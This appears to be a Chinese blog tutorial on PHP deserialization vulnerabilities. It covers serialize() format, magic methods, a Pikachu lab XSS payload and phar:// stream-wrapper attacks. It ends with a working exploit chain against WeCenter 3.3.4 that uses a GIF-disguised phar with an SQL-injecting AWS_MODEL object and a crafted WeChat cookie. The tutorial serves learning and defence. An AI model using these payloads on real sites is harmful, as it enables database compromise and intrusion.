序列化
搞懂反序列化漏洞的前提,先搞懂什麼是序列化:
序列化說通俗點就是把一個對象變成可以傳輸的字符串。
序列化實際是為了傳輸的方便,以整個對象為單位進行傳輸, 而序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。如果了解底層的同學可以知道,類中的方法本就不在類中。
而在php中,使用函數serialize()來返回一個包含字節流的字符串來表示
比如:
class S{
public $test="sd";
}
$s=new S(); //創建一個對象
serialize($s); //把這個對象進行序列化
序列化的結果是:
O:1:"S":1:{s:4:"test";s:2:"sd";}
代表的含義依次是:
O:代表object
1:代表對象名字長度為一個字符
S:對象的名稱
1:代表對象裡面有一個變量
s:數據類型(string)
4:變量名稱的長度
test:變量名稱
s:數據類型
2:變量值的長度
sd:變量值
順便說一下PHP 對不同類型的數據用不同的字母進行標示
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
反序列化
就是把被序列化的字符串還原為對象,然後在接下來的代碼中繼續使用。
使用unserialize()函數
$u=unserialize("O:1:"S":1:{s:4:"test";s:2:"sd";}");
echo $u->test; //得到的結果為sd
反序列化安全
序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且後臺不正當的使用了PHP中的魔法函數,就會導致安全問題
有哪些php常見的魔法函數:
__construct() 當一個對象創建時被調用
__destruct() 當一個對象銷毀前被調用
__sleep() 在對象被序列化前被調用
__wakeup 將在反序列化之後立即被調用
__toString 當一個對象被當做字符串使用時被調用
__get(),__set() 當調用或設置一個類及其父類方法中未定義的屬性時
__invoke() 調用函數的方式調用一個對象時的回應方法
__call 和 __callStatic前者是調用類不存在的方法時執行,而後者是調用類不存在的靜態方式方法時執行。
有面向對象編程基礎的同學應該很多都能看懂,比如__contruct():c++中的構造函數,java中的構造器;__destruct():c++中的析構函數.java的自動回收機制:finalize()
靶場實戰
了解了序列化、反序列化、php魔法函數,先來看一個靶場,嘗試反序列化構造payload
payload
看一下題目,已知反序列化入口
先隨便輸點東西看看
這裡既然是反序列化接口,就需要輸入我們序列化的字符串,比如插入我們剛剛的payload
O:1:"S":1:{s:4:"test";s:2:"sd";}
不僅於此,構造xss
O:1:"S":1:{s:4:"test";s:28:"<script>alert('sd')</script>";}漏洞原理分析
先看源碼
<?php$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unser.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}
$PIKA_ROOT_DIR = "../../";include_once $PIKA_ROOT_DIR.'header.php';
class S{var $test = "pikachu";function __construct(){echo $this->test;}}$html='';if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,來點勁爆點兒的!</p>";}else{$html.="<p>{$unser->test}</p>";}}?>漏洞成因:
一.參數可控
從源碼可以看到反序列化的變量是post請求的,post請求變量名為o,通過抓包發現我們輸入框輸入的值,正好賦值給Post變量o
二.實現了unserialize()函數
這一點是肯定的,沒有這個函數這裡肯定就無法反序列化
三.調用了魔法函數
__construct函數可利用
四.沒有過濾
沒有對傳參進行過濾,否則無法構成目的Payload。
實戰中要更具情況來構造payload,能利用的漏洞也遠不止xss
phar://偽協議
除了unserialize反序列化之外 ,另一種能夠反序列化方式是利用 phar:// 協議觸發反序列化,前提是完全可控的文件名。
這個方法是在BlackHat 大會上的 Sam Thomas 分享了 File Operation Induced Unserialization via the 「phar://」 Stream Wrapper ,該研究員指出該方法在文件系統函數 ( file_get_contents 、 unlink 等)參數可控的情況下,配合 phar://偽協議 ,可以不依賴反序列化函數 unserialize() 直接進行反序列化的操作。
什麼是phar
官方文檔:
https://www.php.net/manual/zh/book.phar.php
簡單來說,phar是PHP提供的一種壓縮和歸檔的方案,並且還提供了各種處理它的方法。
phar結構
由四部分組成:
一:stub
即用來標識phar 文件的部分,類似MZ頭。格式為
<?phpPhar::mapPhar();include 'phar://phar.phar/index.php';二:manifest describing the contents
phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分,也存儲用戶自定義的meta-data,這是用來攻擊的入口,最核心的地方
三:the file contents
被壓縮文件的內容
四:signature for verifying Phar integrity
可選項,即籤名。
demo
根據phar文件結構我們來自己構建一個phar文件,php內置了一個Phar類來處理相關操作。
注意:要將php.ini中的phar.readonly選項設置為Off,否則無法生成phar文件。不要只讀
如果修改了之後在phpinfo上還是On的話記得把這行最前面的分號刪掉,這樣就行了
<?phpclass TestObject {}@unlink("1.phar");$phar = new Phar("1.phar"); $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject();$phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();?>訪問該php頁面,會在文件當前目錄下生成一個phar文件
很明顯的序列化特徵,TestObject這個類已經以序列化形式儲存
有序列化,必然有反序列化來處理,php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,測試後受影響的函數如下:
fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile將phar文件偽裝為gif
phar在設計時,只要求前綴為__HALT_COMPILER();而後綴或者內容並未設限,可以構造文件繞過上傳
<?phpclass TestObject {}
@unlink("sd.phar");$phar = new Phar("sd.phar");$phar->startBuffering();$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>"); $o = new TestObject();$o->data='sd!';$phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();?><?phpinclude('phar://sd.gif');class TestObject { function __destruct(){ echo $this->data; }}?>成功將meta-data中data數據反序列化出來
總結
利用條件:
phar文件要能夠上傳到伺服器端。
要有可用的魔術方法作為「跳板」。
文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
WeCenter3.3.4反序列化造成sql注入
這個洞有點老了,但不影響學習分析
cms下載地址:
http://www.wecenter.com/downloads/
在這個版本的cms中存在多個反序列化POP鏈,如果我們想利用這些 POP 鏈,就必須找到可控的反序列化點。WeCenter 中就存在可控的文件名,能夠利用phar偽協議
定位到漏洞文件./system/aws_model.inc.php
析構函數遍歷了$this->_shutdown_query變量,然後帶入了$this->query()函數,跟一下
public function query($sql, $limit = null, $offset = null, $where = null){$this->slave();
if (!$sql){throw new Exception('Query was empty.');}
if ($where){$sql .= ' WHERE ' . $where;}
if ($limit){$sql .= ' LIMIT ' . $limit;}
if ($offset){$sql .= ' OFFSET ' . $offset;}
if (AWS_APP::config()->get('system')->debug){$start_time = microtime(TRUE);}
try {$result = $this->db()->query($sql);} catch (Exception $e) {show_error("Database error\n-\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());}
if (AWS_APP::config()->get('system')->debug){AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);}
return $result;}並沒有任何的過濾,如果$this->_shutdown_query變量參數可控,那麼就可以造成sql注入
利用反序列化的方式,可以重置$this->_shutdown_query的值。
再看./models/account.php
public function associate_remote_avatar($uid, $headimgurl){if (!$headimgurl){return false;}
if (!$user_info = $this->get_user_info_by_uid($uid)){return false;}
if ($user_info['avatar_file']){return false;}
if (!$avatar_stream = file_get_contents($headimgurl)){return false;}
$avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');
$avatar_dir = dirname($avatar_location) . '/';if (!file_exists($avatar_dir)){make_dir($avatar_dir);}associate_remote_avatar函數將傳進來的$headimgurl沒有經過任何過濾直接傳入了文件操作函數file_get_contents中,這個系統函數正好就在受影響的範圍之內。全局搜索associate_remote_avatar
在./app/account/ajax.php
這個函數調用了associate_remote_avatar,而 $headimgurl 值來源於 $wxuser['headimgurl'],這個$wxuser實際上是資料庫users_weixin 表中的相關數據,如果有insert,update就好了
在./models/openid/weixin/weixin.php
找到了資料庫users_weixin 表,headimgurl 對應 $access_user['headimgurl'],並且$access_user 為函數被調用時傳入的參數,繼續找哪裡調用了bind_account 方法
在./app/m/weixin.php
$WXConnect的值來源於COOKIE,而$access_user來源於$WXConnect['access_user'],而cookile是可控的,file_get_contents有了完全可控的參數,我們就可以利用 phar:// 協議觸發反序列化
漏洞利用
註冊一個帳號
選擇發起一個問題,並上傳一個圖片
上傳一個phar文件,但改後綴為gif
<?phpclass AWS_MODEL{private $_shutdown_query = array();
public function __construct(){$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";}}$a = new AWS_MODEL;$phar = new Phar("11.phar");$phar->startBuffering();$phar->setStub("GIF89a"."__HALT_COMPILER();");$phar->setMetadata($a);$phar->addFromString("test.txt","123");$phar->stopBuffering();?>上傳到伺服器
這裡會返回絕對路徑
編造payload
<?php$arr = array();$arr['access_token'] = array('openid' => '1');$arr['access_user'] = array();$arr['access_user']['openid'] = 1;$arr['access_user']['nickname'] = 'admin';$arr['access_user']['headimgurl'] = 'phar://uploads/question/20210606/ca6820646810c27e025258594bb905ea.gif';echo json_encode($arr);?>帶入cookie,並訪問app/m/weixin.php下的binding_action,顯示"綁定微信成功"
最後訪問app/account/ajax.php下的synch_img_action,注入成功
參考
WeCenter3.3.4前臺SQL注入&任意文件刪除&RCE
某Center v3.3.4 從前臺反序列化任意SQL語句執行到前臺RCE
利用 phar 拓展 php 反序列化漏洞攻擊面
投稿作者:Buffer
推薦閱讀: